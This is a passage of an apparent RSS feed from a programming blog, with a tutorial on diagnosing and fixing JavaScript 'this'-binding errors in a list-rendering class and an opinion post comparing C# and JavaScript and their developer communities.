    &lt;span class=&quot;nx&quot;&gt;el&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;_renderListItemName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_logClick&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;_logClick&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`You have clicked on a part of &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nodeType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;App&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Got it?&lt;/p&gt;

&lt;p&gt;Take some time and look at it and see if you can spot some of the problems. One error will prevent anything from rendering due to a thrown error, another - even when the correct code is triggered - will cause clicks to confusingly refer to a number, not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;People list&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Play around with it here and try to fix things&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/hivehiwuru/1/embed?js,console,output&quot;&gt;An executable sample on jsbin&lt;/a&gt;&lt;script src=&quot;http://static.jsbin.com/js/embed.min.js?4.0.4&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Got your guesses in? Ok.&lt;/p&gt;

&lt;p&gt;The first error is due to in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this.names.map( this._renderListItemName )&lt;/code&gt; but confusingly throws an error elsewhere entirely! Remember that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_renderListItemName&lt;/code&gt; is a function - and we are giving it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.map()&lt;/code&gt; to call at will. We are at the mercy of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.map()&lt;/code&gt; to call it &lt;em&gt;correctly&lt;/em&gt; in a way that passes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; parameter properly - and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.map()&lt;/code&gt; simply has no idea that its supposed to do that. Nor - if you think of how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.map()&lt;/code&gt; might be implemented - does it even have a reference to our App class instance to bind if it wanted to.&lt;/p&gt;

&lt;p&gt;So when the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.map()&lt;/code&gt; function calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_renderListItemName&lt;/code&gt;…well it makes its best available move and sets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;undefined&lt;/code&gt;. And thats why we get our error here &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;li.addEventListener( &apos;click&apos;, this._logClick );&lt;/code&gt; - we’re in effect trying to take the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_logClick&lt;/code&gt; property of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;undefined&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The solution? Well the most straightforward one is to wrap the whole thing in an arrow function so we can make sure that dot-and-invoke sets the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; parameter properly&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;names&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_renderListItemName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;aside style=&quot;float: right; margin: 1em; width: 15em;&quot;&gt;
  Note, that this assumes `app.render()` is called properly. As a counter-example if we had done &lt;code&gt;const render = app.render; render(body);&lt;/code&gt;, then &lt;code&gt;this&lt;/code&gt; would be set to &lt;code&gt;undefined&lt;/code&gt; and &lt;code&gt;this.names&lt;/code&gt; would no longer reference the &lt;code&gt;names&lt;/code&gt; field on our &lt;code&gt;app&lt;/code&gt; instance. Yep, it is all quite confusing, but cool everyone - keep using these features.
&lt;/aside&gt;

&lt;p&gt;By using an arrow function, when we reference &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;, it looks one scope up to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;render&lt;/code&gt; function and - assuming that was called properly - it will be bound properly to the intance of our app. Once done, that will allow things to render.&lt;/p&gt;

&lt;p&gt;Another solution is to use the function’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bind()&lt;/code&gt; function which will generate a &lt;em&gt;new&lt;/em&gt; function based on the old one but with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; nailed down (conceptually, this is a more automatic version of alternative 1)&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;names&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_renderListItemName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A third approach might be, when the class is created to automatically bind its functions and then re-assign them&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;props&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nodeType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;People list&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;names&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;George&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Bob&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Erica&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_renderListItemName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_renderListItemName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you can’t call a version with the wrong binding even if you wanted to! The value of that property (which hides the inherited &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_renderListItemName&lt;/code&gt; property) is specifically set to a version of our function where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; is bound up tight.&lt;/p&gt;

&lt;p&gt;Finally, a fourth approach might be to eschew class-level functions entirely and use local arrows instead&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;el&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;renderListItemName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_logClick&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ul&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ul&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;names&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;renderListItemName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;el&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;``&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;el&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All of the above will work and which you use is largely a matter of preference and project-wide convention but understanding how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; works and being able to diagnose and repair errors with its usage is absolutely mandatory so long as people keep using these patterns.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Btw, I mentioned there was another error that occurred when you actually clicked on the list items. Can you find and diagnose that?&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    
    <item>
      <title>On Javascript vs C# and the importance of community</title>
      <link>http://georgemauer.net/2017/04/17/javascript-slapfight.html</link>
      <pubDate>Mon, 17 Apr 2017 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2017/04/17/javascript-slapfight.html</guid>
      <description>&lt;p&gt;I just got into a Javascript slapfight.&lt;/p&gt;

&lt;p&gt;It started with a Quora question. &lt;a href=&quot;https://www.quora.com/Which-is-the-better-coding-language-C-or-JavaScript&quot;&gt;Which is the better Language, C# or Javascript?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Because I’m sometimes a glutton for punishment, &lt;a href=&quot;https://www.quora.com/Which-is-the-better-coding-language-C-or-JavaScript/answer/George-Mauer?srid=tcE&quot;&gt;I chose to reply in depth&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Which is the better language? C#, I have no qualms about saying this. It’s not even a contest. Just examine their origins.&lt;/p&gt;

&lt;p&gt;C# was designed at Microsoft, a huge and very successful company with a ton of resources, as a part of one of their flagship engineering efforts; the introduction of the .Net Framework. Its chief architect is Anders Hejlsberg - one of the top language designers in the world - who had previously worked on two successful languages: Turbo Pascale and Delphi. The C# team has lead the language with a steady hand, developing an ecosystem and fully integrated tooling, including the ubiquitous-in-the-space Visual Studio IDE. In addition they’ve had two incredibly powerful programming models to draw on: Java, which C# was patterned on and which had serious deficiencies which C# has arguably fixed; and F#, a fantastic academic language based on OCaml that serves as a sort of “minor league” for C# features, trying these out before rolling many into C#.&lt;/p&gt;

&lt;p&gt;Oh and also LINQ. LINQ is amazing and far too few people understand how insanely powerful it can be. If you’re learning C#, it is not strictly necessary at first, but at some point take the time to learn how LINQ providers work and how to write your own. You will up your game several times over.&lt;/p&gt;

&lt;p&gt;Ok then, what about Javascript?&lt;/p&gt;

&lt;p&gt;Well, Javascript was a language created by Netscape as they tried desperately to take ownership of the web space before Microsoft sat up and took too much notice. It was created pretty much entirely by Brenden Eich who, for all his brilliance, wasn’t super experienced at language design. It was written in literally 10 days because Netscape wanted it in the next version of Navigator. It was based on Scheme and Self - two fantastic languages, and the salvation of many of Javascript’s weird inconsistencies - but then made to “look” like Java as an afterthought because Netscape was in talks with Sun and wanted a little-brother connection for marketing reasons.&lt;/p&gt;

&lt;p&gt;It then sat on the shelf, barely used for anything beyond calendar widgets for nine years until Gmail introduced the world to the possibility of Ajax (they did not invent the term nor the concept, but credit where due for popularizing the technique and showing what was possible). It then tried to change way too much stuff at once, failed, and has only recently settled into a reasonable pace of gradual evolution. Just in time for WebAssembly to slowly start killing it off. Its freaking shocking that any of this worked at all!&lt;/p&gt;

&lt;p&gt;C# is the better language.&lt;/p&gt;

&lt;p&gt;But the language is not the whole story. There is also the community.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;The entire .Net community I think pretty inarguably has been coddled nearly to death by Microsoft. This has had some very detrimental results&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The Alt.Net movement was necessary to bring ORMs, MVC, and inversion of control containers to the forefront&lt;/li&gt;
  &lt;li&gt;It took over 10 years for Microsoft to finally have a unit testing framework and runner that was worth it for developers to use (and I still vastly prefer xUnit, and Testdriven.Net)&lt;/li&gt;
  &lt;li&gt;Ditto for a package manager&lt;/li&gt;
  &lt;li&gt;A single ORM rules the roost and even then a majority of shops don’t use one at all (and I bet I can mount a SQL injection attack easily against most of these).&lt;/li&gt;
  &lt;li&gt;The majority of .Net developers don’t know how to use the command line&lt;/li&gt;
  &lt;li&gt;The overwhelming vast majority of .Net developers don’t know how to extend the build system (And to actually bypass it because msbuild is terrible yall!)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is not to say that things are completely bleak or not getting better, but the centralized, top-down nature of the ecosystem has created a strange lack of diversity and a certain intellectual non-curiosity among many developers that we are only now starting to see crack.&lt;/p&gt;

&lt;p&gt;Meanwhile, in part because of its imperfections, the Javascript ecosystem has grown vast and egalitarian. In fact, this is one of the thing people complain about when they don’t understand that its not really a single community. Its a dozen different ones that have sprung up very rapidly (even granddaddy jQuery is only a bit over 10 years old), and are still in the process of cross-pollinating and distilling into their own things.&lt;/p&gt;

&lt;p&gt;The Javascript community has come up with ingenious solutions to address important problems. And more importantly, several different solutions to cater to different tastes and use cases. Some can even be used simultaneously. So we have&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Babel, Typescript, Purescript, and before that Coffeescript, competing for people who want a nicer syntax (and helping guide the evolution of the language as a reasult).&lt;/li&gt;
  &lt;li&gt;Typescript, Flow, and Eslint for catching errors before running the application&lt;/li&gt;
  &lt;li&gt;KnockoutJs, AngularJs, BaconJs, and Redux for state management&lt;/li&gt;
  &lt;li&gt;AngularJs, EmberJs, virtual-dom systems like React, Backbone, and web components for templating and componentization&lt;/li&gt;
  &lt;li&gt;Mocha, Jest, Jasmine, Qunit for unit testing&lt;/li&gt;
  &lt;li&gt;and while Node is tops on the server it too had its predecessors in Rhino, JScript, and others&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All this and much much more. This is the most successful programming community of all time. Definitely a worse language, but a many times larger, more diverse, bold, and rapidly moving community.&lt;/p&gt;

&lt;p&gt;I assume you were asking from the point of view of which to invest your resources into learning. I learned C# first myself, but I teach beginners Javascript nowadays. If you have a good mentor available I’d probably still pick C#, but if not, Javascript has far more high quality resources for far cheaper, way more people trying to figure it all out, and way more people helping them.&lt;/p&gt;

&lt;p&gt;But really, nobody gets away with learning only one language, so just pick one and you’ll have time to get to the others. All of the others.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I also &lt;a href=&quot;https://www.quora.com/Which-is-the-better-coding-language-C-or-JavaScript/answer/Garry-Taylor-5?srid=tcE&quot;&gt;noticed another answer&lt;/a&gt; citing a popular recently-curculated aritlce &lt;a href=&quot;https://hackernoon.com/the-javascript-phenomenon-is-a-mass-psychosis-57adebb09359&quot;&gt;calling Javascript a mass psychosis&lt;/a&gt;.&lt;/p&gt;

